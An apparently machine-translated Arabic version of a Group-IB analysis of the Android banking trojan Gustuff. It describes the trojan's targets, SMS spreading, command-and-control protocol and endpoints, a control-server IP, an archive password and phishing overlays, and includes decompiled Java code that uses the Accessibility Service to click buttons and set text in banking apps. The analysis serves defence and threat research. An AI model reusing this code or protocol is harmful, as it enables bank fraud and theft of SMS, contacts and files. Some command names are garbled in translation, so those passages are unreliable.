كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك

فقط في اليوم الآخر Group-IB ذكرت حول نشاط هاتف Android Trojan Gustuff. وهي تعمل حصريًا في الأسواق الدولية، وتهاجم عملاء أكبر 100 بنك أجنبي، ومستخدمي 32 محفظة تشفير متنقلة، بالإضافة إلى موارد التجارة الإلكترونية الكبيرة. لكن مطور Gustuff هو مجرم إلكتروني ناطق بالروسية يحمل لقب Bestoffer. وحتى وقت قريب، كان يمتدح حصان طروادة الخاص به باعتباره "منتجًا جديًا للأشخاص ذوي المعرفة والخبرة".

متخصص في تحليل التعليمات البرمجية الضارة في Group-IB إيفان بيساريف ويتحدث في بحثه بالتفصيل عن كيفية عمل جوستوف وما هي مخاطره.

من الذي يطارده جوستوف؟

ينتمي Gustuff إلى جيل جديد من البرامج الضارة ذات وظائف مؤتمتة بالكامل. وفقًا للمطور، أصبح حصان طروادة نسخة جديدة ومحسنة من البرنامج الضار AndyBot، الذي يهاجم منذ نوفمبر 2017 هواتف Android ويسرق الأموال من خلال نماذج الويب التصيدية التي تتنكر في شكل تطبيقات جوال لبنوك وأنظمة دفع دولية معروفة. أفاد Bestoffer أن سعر إيجار Gustuff Bot كان 800 دولار شهريًا.

أظهر تحليل عينة غوستوف أن فيروس طروادة يحتمل أن يستهدف العملاء الذين يستخدمون تطبيقات الهاتف المحمول لأكبر البنوك، مثل بنك أوف أمريكا، وبنك أوف سكوتلاند، وجي بي مورغان، وويلز فارجو، وكابيتال وان، وتي دي بنك، وبنك بي إن سي، بالإضافة إلى محافظ العملات المشفرة. محفظة البيتكوين، وBitPay، وCryptopay، وCoinbase، وما إلى ذلك.

تم إنشاء Gustuff في الأصل باعتباره حصان طروادة المصرفي الكلاسيكي، وفي نسخته الحالية قام Gustuff بتوسيع قائمة الأهداف المحتملة للهجوم بشكل كبير. بالإضافة إلى تطبيقات Android للبنوك وشركات التكنولوجيا المالية وخدمات التشفير، يستهدف Gustuff مستخدمي تطبيقات السوق والمتاجر عبر الإنترنت وأنظمة الدفع والمراسلة الفورية. على وجه الخصوص، PayPal، Western Union، eBay، Walmart، Skype، WhatsApp، Gett Taxi، Revolut وغيرها.

نقطة الدخول: حساب العدوى الجماعية

يتميز Gustuff بالمتجه "الكلاسيكي" للاختراق في الهواتف الذكية التي تعمل بنظام Android من خلال رسائل الرسائل النصية القصيرة التي تحتوي على روابط لملفات APK. عندما يصاب جهاز Android بفيروس طروادة بناءً على أمر الخادم، فقد ينتشر Gustuff بشكل أكبر من خلال قاعدة بيانات جهات الاتصال الخاصة بالهاتف المصاب أو من خلال قاعدة بيانات الخادم. تم تصميم وظيفة Gustuff من أجل العدوى الجماعية وتحقيق أقصى قدر من الرسملة لأعمال مشغليها - فهي تتمتع بوظيفة "الملء التلقائي" الفريدة في التطبيقات المصرفية المشروعة عبر الهاتف المحمول ومحافظ التشفير، مما يسمح لك بتسريع عملية سرقة الأموال وتوسيع نطاقها.

وأظهرت دراسة طروادة أنه تم تنفيذ وظيفة الملء التلقائي فيه باستخدام خدمة إمكانية الوصول، وهي خدمة للأشخاص ذوي الإعاقة. Gustuff ليس أول حصان طروادة ينجح في تجاوز الحماية ضد التفاعل مع عناصر النوافذ للتطبيقات الأخرى التي تستخدم خدمة Android هذه. ومع ذلك، فإن استخدام خدمة إمكانية الوصول مع حشو السيارة لا يزال نادرًا جدًا.

بعد التنزيل على هاتف الضحية، يستطيع Gustuff، باستخدام خدمة إمكانية الوصول، التفاعل مع عناصر نافذة التطبيقات الأخرى (الخدمات المصرفية، والعملات المشفرة، بالإضافة إلى تطبيقات التسوق عبر الإنترنت، والمراسلة، وما إلى ذلك)، وتنفيذ الإجراءات اللازمة للمهاجمين . على سبيل المثال، بناءً على أمر الخادم، يمكن لفيروس حصان طروادة الضغط على الأزرار وتغيير قيم الحقول النصية في التطبيقات المصرفية. يتيح استخدام آلية خدمة الوصول لفيروس حصان طروادة تجاوز آليات الأمان التي تستخدمها البنوك لمواجهة الجيل السابق من فيروسات حصان طروادة المحمولة، بالإضافة إلى التغييرات في سياسة الأمان التي تنفذها Google في الإصدارات الجديدة من نظام التشغيل Android. وبالتالي، فإن Gustuff "يعرف كيفية" تعطيل حماية Google Protect: وفقًا للمؤلف، تعمل هذه الوظيفة في 70٪ من الحالات.

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك

يمكن لـ Gustuff أيضًا عرض إشعارات PUSH المزيفة مع أيقونات تطبيقات الهاتف المحمول المشروعة. ينقر المستخدم على إشعار PUSH ويرى نافذة تصيد تم تنزيلها من الخادم، حيث يقوم بإدخال البطاقة المصرفية المطلوبة أو بيانات محفظة التشفير. في سيناريو Gustuff آخر، يتم فتح التطبيق الذي تم عرض إشعار PUSH نيابة عنه. في هذه الحالة، يمكن للبرامج الضارة، بناءً على أمر من الخادم عبر خدمة إمكانية الوصول، ملء حقول النموذج الخاصة بتطبيق مصرفي لمعاملة احتيالية.

تتضمن وظائف Gustuff أيضًا إرسال معلومات حول جهاز مصاب إلى الخادم، والقدرة على قراءة/إرسال رسائل SMS، وإرسال طلبات USSD، وإطلاق SOCKS5 Proxy، واتباع رابط، وإرسال الملفات (بما في ذلك عمليات مسح الصور للمستندات ولقطات الشاشة والصور الفوتوغرافية) إلى الخادم، قم بإعادة ضبط الجهاز على إعدادات المصنع.

تحليل البرامج الضارة

قبل تثبيت تطبيق ضار، يعرض نظام التشغيل Android للمستخدم نافذة تحتوي على قائمة الحقوق التي طلبها Gustuff:

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك
لن يتم تثبيت التطبيق إلا بعد الحصول على موافقة المستخدم. بعد تشغيل التطبيق، سيظهر حصان طروادة للمستخدم نافذة:

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك
وبعد ذلك سيتم إزالة الرمز الخاص به.

يتم تعبئة Gustuff، وفقًا للمؤلف، بواسطة شركة تعبئة من FTT. بعد بدء التشغيل، يتصل التطبيق بشكل دوري بخادم CnC لتلقي الأوامر. استخدمت العديد من الملفات التي قمنا بفحصها عنوان IP كخادم التحكم 88.99.171 [.] 105 (وسنشير إليها فيما يلي بـ <%CnC%>).

بعد الإطلاق، يبدأ البرنامج في إرسال الرسائل إلى الخادم http://<%CnC%>/api/v1/get.php.

من المتوقع أن تكون الاستجابة JSON بالتنسيق التالي:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

وفي كل مرة يتم الوصول إلى التطبيق، فإنه يرسل معلومات حول الجهاز المصاب. يظهر تنسيق الرسالة أدناه. ومن الجدير بالذكر أن الحقول بالإضافة إلى, احتفل على, التطبيقات и إذن – اختياري ولن يتم إرساله إلا في حالة طلب أمر من CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

تخزين بيانات التكوين

يقوم Gustuff بتخزين المعلومات المهمة من الناحية التشغيلية في ملف التفضيلات. اسم الملف، وكذلك أسماء المعلمات الموجودة فيه، هي نتيجة حساب مجموع MD5 من السلسلة 15413090667214.6.1<%name%>حيث <%الاسم%> - قيمة الاسم الأولية. تفسير بايثون لوظيفة إنشاء الاسم:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

وفي ما يلي سنشير إليه بـ اسم المولد (المدخلات).
إذن اسم الملف الأول هو: nameGenerator("API_SERVER_LIST")، فهو يحتوي على قيم بالأسماء التالية:

اسم المتغير قيمة
nameGenerator("API_SERVER_LIST") يحتوي على قائمة عناوين CnC على شكل مصفوفة.
nameGenerator("API_SERVER_URL") يحتوي على عنوان CnC.
nameGenerator("SMS_UPLOAD") يتم تعيين العلم بشكل افتراضي. إذا تم تعيين العلم، يرسل رسائل SMS إلى CnC.
nameGenerator("SMS_ROOT_NUMBER") رقم الهاتف الذي سيتم إرسال الرسائل النصية القصيرة التي يتلقاها الجهاز المصاب إليه. الافتراضي فارغ.
nameGenerator("SMS_ROOT_NUMBER_RESEND") يتم مسح العلامة بشكل افتراضي. في حالة التثبيت، عندما يتلقى الجهاز المصاب رسالة نصية قصيرة، سيتم إرسالها إلى الرقم الجذر.
nameGenerator("DEFAULT_APP_SMS") يتم مسح العلامة بشكل افتراضي. إذا تم تعيين هذه العلامة، فسيقوم التطبيق بمعالجة رسائل SMS الواردة.
nameGenerator("DEFAULT_ADMIN") يتم مسح العلامة بشكل افتراضي. إذا تم تعيين العلامة، فإن التطبيق لديه حقوق المسؤول.
nameGenerator("DEFAULT_ACCESSIBILITY") يتم مسح العلامة بشكل افتراضي. إذا تم تعيين العلامة، فهذا يعني أن هناك خدمة تستخدم خدمة إمكانية الوصول قيد التشغيل.
nameGenerator("APPS_CONFIG") كائن JSON يحتوي على قائمة بالإجراءات التي يجب تنفيذها عند تشغيل حدث إمكانية الوصول المرتبط بتطبيق معين.
nameGenerator("APPS_INSTALLED") يخزن قائمة التطبيقات المثبتة على الجهاز.
nameGenerator("IS_FIST_RUN") يتم إعادة تعيين العلم في البداية الأولى.
nameGenerator("UNIQUE_ID") يحتوي على معرف فريد. يتم إنشاؤه عند تشغيل الروبوت لأول مرة.

وحدة لمعالجة الأوامر من الخادم

يقوم التطبيق بتخزين عناوين خوادم CnC على شكل مصفوفة مشفرة بواسطة Base85 خطوط. يمكن تغيير قائمة خوادم CnC عند استلام الأمر المناسب، وفي هذه الحالة سيتم تخزين العناوين في ملف التفضيلات.

واستجابة للطلب، يرسل الخادم أمرًا إلى التطبيق. تجدر الإشارة إلى أن الأوامر والمعلمات مقدمة بتنسيق JSON. يمكن للتطبيق معالجة الأوامر التالية:

فريق وصف
إلى الأمامStart البدء في إرسال الرسائل النصية القصيرة التي يتلقاها الجهاز المصاب إلى خادم CnC.
com.forwardStop التوقف عن إرسال الرسائل النصية القصيرة التي يتلقاها الجهاز المصاب إلى خادم CnC.
com.ussdRun تنفيذ طلب USSD. الرقم الذي تحتاج إلى تقديم طلب USSD إليه موجود في حقل "الرقم" JSON.
أرسل رسالة نصية قصيرة أرسل رسالة SMS واحدة (إذا لزم الأمر، يتم "تقسيم" الرسالة إلى أجزاء). كمعلمة، يأخذ الأمر كائن JSON يحتوي على الحقول "إلى" - رقم الوجهة و"النص" - نص الرسالة.
sendSmsAb إرسال رسائل نصية قصيرة (إذا لزم الأمر، يتم "تقسيم" الرسالة إلى أجزاء) إلى جميع الأشخاص الموجودين في قائمة جهات الاتصال الخاصة بالجهاز المصاب. الفاصل الزمني بين إرسال الرسائل هو 10 ثواني. نص الرسالة موجود في حقل JSON "النص"
sendSmsMass إرسال رسائل SMS (إذا لزم الأمر، يتم "تقسيم" الرسالة إلى أجزاء) إلى جهات الاتصال المحددة في معلمات الأمر. الفاصل الزمني بين إرسال الرسائل هو 10 ثواني. كمعلمة، يأخذ الأمر مصفوفة JSON (حقل "sms")، والتي تحتوي عناصرها على الحقول "إلى" - رقم الوجهة و"النص" - نص الرسالة.
تغيير الخادم يمكن أن يأخذ هذا الأمر قيمة باستخدام المفتاح "url" كمعلمة - ثم يقوم الروبوت بتغيير قيمة nameGenerator("SERVER_URL") أو "array" - ثم يقوم الروبوت بكتابة المصفوفة إلى nameGenerator ("API_SERVER_LIST") وبالتالي يقوم التطبيق بتغيير عنوان خوادم CnC.
adminNumber تم تصميم الأمر للعمل مع رقم جذر. يقبل الأمر كائن JSON بالمعلمات التالية: "الرقم" - تغيير nameGenerator("ROOT_NUMBER") إلى القيمة المستلمة، "إعادة الإرسال" - تغيير nameGenerator("SMS_ROOT_NUMBER_RESEND")، "sendId" - إرسال إلى nameGenerator("ROOT_NUMBER" ) معرف فريد.
تحديث المعلومات إرسال معلومات حول الجهاز المصاب إلى الخادم.
بيانات جاهزة يهدف الأمر إلى حذف بيانات المستخدم. اعتمادًا على الاسم الذي تم تشغيل التطبيق به، إما أن يتم مسح البيانات بالكامل عند إعادة تشغيل الجهاز (المستخدم الأساسي)، أو يتم حذف بيانات المستخدم فقط (المستخدم الثانوي).
socksStart قم بتشغيل وحدة الوكيل. تم وصف تشغيل الوحدة في قسم منفصل.
socksStop أوقف وحدة الوكيل.
افتح الرابط اتبع الرابط. الرابط موجود في معلمة JSON ضمن مفتاح "url". يتم استخدام "android.intent.action.VIEW" لفتح الرابط.
uploadAllSms إرسال جميع رسائل SMS التي يستقبلها الجهاز إلى الخادم.
تحميل جميع الصور إرسال الصور من جهاز مصاب إلى عنوان URL. يأتي عنوان URL كمعلمة.
رفع ملف إرسال ملف إلى عنوان URL من جهاز مصاب. يأتي عنوان URL كمعلمة.
تحميلأرقام الهاتف إرسال أرقام الهاتف من قائمة جهات الاتصال الخاصة بك إلى الخادم. إذا تم استلام قيمة كائن JSON بالمفتاح "ab" كمعلمة، فسيتلقى التطبيق قائمة جهات الاتصال من دفتر الهاتف. إذا تم استلام كائن JSON مع المفتاح "sms" كمعلمة، فسيقرأ التطبيق قائمة جهات الاتصال من مرسلي رسائل SMS.
تغيير الأرشيف يقوم التطبيق بتنزيل الملف من العنوان الذي يأتي كمعلمة باستخدام مفتاح "url". يتم حفظ الملف الذي تم تنزيله باسم "archive.zip". سيقوم التطبيق بعد ذلك بفك ضغط الملف، باستخدام كلمة مرور الأرشيف بشكل اختياري "b5jXh37gxgHBrZhQ4j3D". يتم حفظ الملفات التي تم فك ضغطها في دليل [التخزين الخارجي]/hgps. في هذا الدليل، يقوم التطبيق بتخزين المنتجات المزيفة على الويب (الموصوفة أدناه).
الإجراءات تم تصميم الأمر للعمل مع Action Service، الموضح في قسم منفصل.
تجربه بالعربي لا أفعل شئ.
بإمكانك تحميله يهدف الأمر إلى تنزيل ملف من خادم بعيد وحفظه في دليل "التنزيلات". يأتي عنوان URL واسم الملف كمعلمة، وحقول في كائن معلمة JSON، على التوالي: "url" و"اسم الملف".
إزالة يزيل ملفًا من دليل "التنزيلات". يأتي اسم الملف في معلمة JSON مع مفتاح "اسم الملف". اسم الملف القياسي هو "tmp.apk".
إعلام إظهار إشعار بنصوص الوصف والعنوان المحددة بواسطة خادم الإدارة.

تنسيق الأوامر إعلام:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

يبدو الإشعار الذي تم إنشاؤه بواسطة الملف قيد التحقيق مطابقًا للإشعارات التي تم إنشاؤها بواسطة التطبيق المحدد في الحقل التطبيق. إذا كانت قيمة الحقل افتح التطبيق — صحيح، عند فتح إشعار، يتم تشغيل التطبيق المحدد في الحقل التطبيق. إذا كانت قيمة الحقل افتح التطبيق - خطأ إذن:

  • يتم فتح نافذة التصيد، حيث يتم تنزيل محتوياتها من الدليل <%وحدة التخزين الخارجية%>/hgps/<%filename%>
  • يتم فتح نافذة التصيد، حيث يتم تنزيل محتوياتها من الخادم <%url%>?id=<%Bot id%>&app=<%Application name%>
  • يتم فتح نافذة تصيد متخفية في شكل بطاقة Google Play، مع إمكانية إدخال تفاصيل البطاقة.

يرسل التطبيق نتيجة أي أمر إلى <%CnC%>set_state.php ككائن JSON بالتنسيق التالي:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

خدمة الإجراءات
قائمة الأوامر التي تتضمنها عمليات التطبيق عمل. عند تلقي أمر، تصل وحدة معالجة الأوامر إلى هذه الخدمة لتنفيذ الأمر الموسع. تقبل الخدمة كائن JSON كمعلمة. يمكن للخدمة تنفيذ الأوامر التالية:

1. PARAMS_ACTION — عند تلقي مثل هذا الأمر، تتلقى الخدمة أولاً من معلمة JSON قيمة مفتاح النوع، والتي يمكن أن تكون على النحو التالي:

  • معلومات الخدمة - يحصل الأمر الفرعي على القيمة حسب المفتاح من معلمة JSON includeNotImportant. إذا كانت العلامة صحيحة، يقوم التطبيق بتعيين العلامة FLAG_ISOLATED_PROCESS إلى خدمة تستخدم خدمة إمكانية الوصول. بهذه الطريقة سيتم إطلاق الخدمة في عملية منفصلة.
  • جذر - تلقي وإرسال معلومات حول النافذة التي يتم التركيز عليها حاليًا إلى الخادم. يحصل التطبيق على المعلومات باستخدام فئة AccessibilityNodeInfo.
  • مشرف - طلب حقوق المسؤول.
  • تأخير - قم بتعليق ActionsService لعدد المللي ثانية المحدد في معلمة مفتاح "البيانات".
  • نوافذ - إرسال قائمة النوافذ المرئية للمستخدم.
  • تثبيت - تثبيت التطبيق على الجهاز المصاب. اسم حزمة الأرشيف موجود في مفتاح "اسم الملف". الأرشيف نفسه موجود في دليل التنزيلات.
  • شامل - الأمر الفرعي مخصص للتنقل من النافذة الحالية:
    • في قائمة الإعدادات السريعة
    • منذ
    • بيت
    • إلى الإخطارات
    • إلى نافذة التطبيقات المفتوحة مؤخرًا

  • إطلاق - بدء تطبيق. يأتي اسم التطبيق كمعلمة بواسطة المفتاح البيانات.
  • الأصوات - تغيير وضع الصوت إلى الصمت.
  • فتح - يقوم بتشغيل الإضاءة الخلفية للشاشة ولوحة المفاتيح إلى السطوع الكامل. ينفذ التطبيق هذا الإجراء باستخدام WakeLock، مع تحديد السلسلة [Application lable]:INFO كعلامة
  • إذنتراكب - لم يتم تنفيذ الوظيفة (الاستجابة لتنفيذ الأمر هي {"message": "Not support"} أو {"message": "low sdk"})
  • إيماءة - لم يتم تنفيذ الوظيفة (الاستجابة لتنفيذ الأمر هي {"message": "غير مدعوم"} أو {"message": "Low API"})
  • أذونات - هذا الأمر ضروري لطلب أذونات التطبيق. ومع ذلك، لم يتم تنفيذ وظيفة الاستعلام، وبالتالي فإن الأمر لا معنى له. تأتي قائمة الحقوق المطلوبة على شكل مصفوفة JSON مع مفتاح "الأذونات". القائمة القياسية:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • جاكيت - عرض نافذة التصيد. اعتمادًا على المعلمة القادمة من الخادم، قد يعرض التطبيق نوافذ التصيد التالية:
    • إظهار نافذة التصيد الاحتيالي التي تمت كتابة محتوياتها في ملف في دليل <%الدليل الخارجي%>/hgps/<%param_filename%>. سيتم إرسال نتيجة تفاعل المستخدم مع النافذة إلى <%CnC%>/records.php
    • إظهار نافذة التصيد التي تم تحميل محتوياتها مسبقًا من العنوان <%url_param%>?id=<%bot_id%>&app=<%packagename%>. سيتم إرسال نتيجة تفاعل المستخدم مع النافذة إلى <%CnC%>/records.php
    • إظهار نافذة التصيد الاحتيالي المتخفية في شكل بطاقة Google Play.

  • التفاعلية - تم تصميم الأمر للتفاعل مع عناصر نافذة التطبيقات الأخرى باستخدام AcessibilityService. تم تنفيذ خدمة خاصة في برنامج التفاعل. يمكن للتطبيق قيد التحقيق التفاعل مع النوافذ:
    • نشط حاليا. في هذه الحالة، تحتوي المعلمة على معرف أو نص (اسم) الكائن الذي تحتاج إلى التفاعل معه.
    • تكون مرئية للمستخدم وقت تنفيذ الأمر. يختار التطبيق النوافذ حسب المعرف.

    بعد تلقي الأشياء AccessibilityNodeInfo بالنسبة لعناصر النافذة محل الاهتمام، يمكن للتطبيق، اعتمادًا على المعلمات، تنفيذ الإجراءات التالية:

    • التركيز - ضبط التركيز على الكائن.
    • انقر - انقر على كائن.
    • actionId - تنفيذ إجراء بواسطة المعرف.
    • setText - تغيير نص الكائن. يمكن تغيير النص بطريقتين: تنفيذ إجراء ما ACTION_SET_TEXT (إذا كان إصدار Android للجهاز المصاب أصغر من أو يساوي مصاصة)، أو عن طريق وضع سلسلة في الحافظة ولصقها في كائن (للإصدارات الأقدم). يمكن استخدام هذا الأمر لتغيير البيانات في أحد التطبيقات المصرفية.

2. PARAMS_ACTIONS - مثل PARAMS_ACTION، تصل فقط مجموعة أوامر JSON.

يبدو أن العديد من الأشخاص سيكونون مهتمين بما تبدو عليه وظيفة التفاعل مع عناصر النافذة في تطبيق آخر. هذه هي الطريقة التي يتم بها تنفيذ هذه الوظيفة في Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

وظيفة استبدال النص:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

وبالتالي، مع التكوين الصحيح لخادم التحكم، يستطيع Gustuff ملء الحقول النصية في التطبيق المصرفي والنقر على الأزرار اللازمة لإكمال المعاملة. ولا يحتاج حصان طروادة حتى إلى تسجيل الدخول إلى التطبيق، بل يكفي إرسال أمر لعرض إشعار PUSH ثم فتح التطبيق المصرفي المثبت مسبقًا. سيقوم المستخدم بمصادقة نفسه، وبعد ذلك سيتمكن غوستوف من ملء السيارة.

وحدة معالجة الرسائل القصيرة

يقوم التطبيق بتثبيت معالج الأحداث للجهاز المصاب لقبول رسائل SMS. يمكن للتطبيق قيد الدراسة تلقي الأوامر من المشغل، والتي تأتي في نص الرسالة النصية القصيرة. الأوامر تأتي في الشكل:

7!5=<%الأمر المشفر Base64%>

يبحث التطبيق عن السلسلة في جميع رسائل SMS الواردة 7!5=، عند اكتشاف سلسلة، يقوم بفك تشفير السلسلة من Base64 عند الإزاحة 4 وتنفيذ الأمر. الأوامر مشابهة لتلك الموجودة في CnC. يتم إرسال نتيجة التنفيذ إلى نفس الرقم الذي جاء منه الأمر. تنسيق الرد:

7*5=<%Base64 ترميز "أمرresult_code"%>

اختياريًا، يمكن للتطبيق إرسال جميع الرسائل المستلمة إلى الرقم الجذر. للقيام بذلك، يجب تحديد رقم الجذر في ملف التفضيل ويجب تعيين علامة إعادة توجيه الرسالة. يتم إرسال رسالة نصية قصيرة إلى رقم المهاجم بالتنسيق:

<%من الرقم%> - <%الوقت، التنسيق: اليوم/الشهر/السنة HH:mm:ss%> <%SMS body%>

أيضًا، اختياريًا، يمكن للتطبيق إرسال رسائل إلى CnC. يتم إرسال رسالة SMS إلى الخادم بتنسيق JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

إذا تم تعيين العلم nameGenerator("DEFAULT_APP_SMS") – يتوقف التطبيق عن معالجة رسالة SMS ويمسح قائمة الرسائل الواردة.

وحدة الوكيل

يحتوي التطبيق قيد الدراسة على وحدة Backconnect Proxy (المشار إليها فيما بعد بوحدة Proxy)، والتي تحتوي على فئة منفصلة تتضمن حقولًا ثابتة مع التكوين. يتم تخزين بيانات التكوين في العينة بشكل واضح:

كيف يقوم Android Trojan Gustuff بمسح الكريم (العملات الورقية والعملات المشفرة) من حساباتك

يتم تسجيل جميع الإجراءات التي تنفذها وحدة الوكيل في الملفات. للقيام بذلك، يقوم التطبيق الموجود في وحدة التخزين الخارجية بإنشاء دليل يسمى "السجلات" (حقل ProxyConfigClass.logsDir في فئة التكوين)، حيث يتم تخزين ملفات السجل. يتم التسجيل في الملفات ذات الأسماء:

  1. main.txt – يتم تسجيل عمل الفئة المسماة CommandServer في هذا الملف. في ما يلي، سيتم الإشارة إلى تسجيل السلسلة النصية في هذا الملف على أنه mainLog(str).
  2. الجلسة-<%id%>.txt - يحفظ هذا الملف بيانات السجل المرتبطة بجلسة وكيل محددة. في ما يلي، سيتم الإشارة إلى تسجيل سلسلة السلسلة في هذا الملف على أنه sessionLog (str).
  3. server.txt - يستخدم هذا الملف لتسجيل كافة البيانات المكتوبة على الملفات الموضحة أعلاه.

تنسيق بيانات السجل:

<%Date%> [موضوع[<%thread id%>], id[]]: سلسلة السجل

يتم أيضًا تسجيل الاستثناءات التي تحدث أثناء تشغيل وحدة الوكيل في ملف. للقيام بذلك، يقوم التطبيق بإنشاء كائن JSON بالتنسيق التالي:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

ثم يقوم بتحويله إلى تمثيل سلسلة ويسجله.

يتم تشغيل وحدة الوكيل بعد تلقي الأمر المقابل. عند تلقي أمر لتشغيل وحدة الوكيل، يبدأ التطبيق خدمة تسمى الخدمة الرئيسيةوهو المسؤول عن إدارة تشغيل وحدة الوكيل - بدء تشغيلها وإيقافها.

مراحل بدء الخدمة:

1. يبدأ مؤقتًا يعمل مرة واحدة كل دقيقة ويتحقق من نشاط وحدة الوكيل. إذا كانت الوحدة غير نشطة، فإنها تبدأ تشغيلها.
وكذلك عندما يتم تشغيل الحدث android.net.conn.CONNECTIVITY_CHANGE تم إطلاق وحدة الوكيل.

2. يقوم التطبيق بإنشاء قفل التنبيه باستخدام المعلمة PARTIAL_WAKE_LOCK ويقبض عليه. وهذا يمنع وحدة المعالجة المركزية للجهاز من الدخول في وضع السكون.

3. يقوم بتشغيل فئة معالجة الأوامر الخاصة بوحدة الوكيل، وذلك بتسجيل السطر أولاً mainLog("بدء تشغيل الخادم") и

الخادم::start() المضيف[<%proxy_cnc%>]، CommandPort[<%command_port%>]، proxyPort[<%proxy_port%>]

حيث proxy_cnc وcommand_port وproxy_port - المعلمات التي تم الحصول عليها من تكوين الخادم الوكيل.

يتم استدعاء فئة معالجة الأوامر اتصال الأوامر. مباشرة بعد بدء التشغيل، قم بتنفيذ الإجراءات التالية:

4. يتصل ب ProxyConfigClass.host: ProxyConfigClass.commandPort ويرسل بيانات حول الجهاز المصاب هناك بتنسيق JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
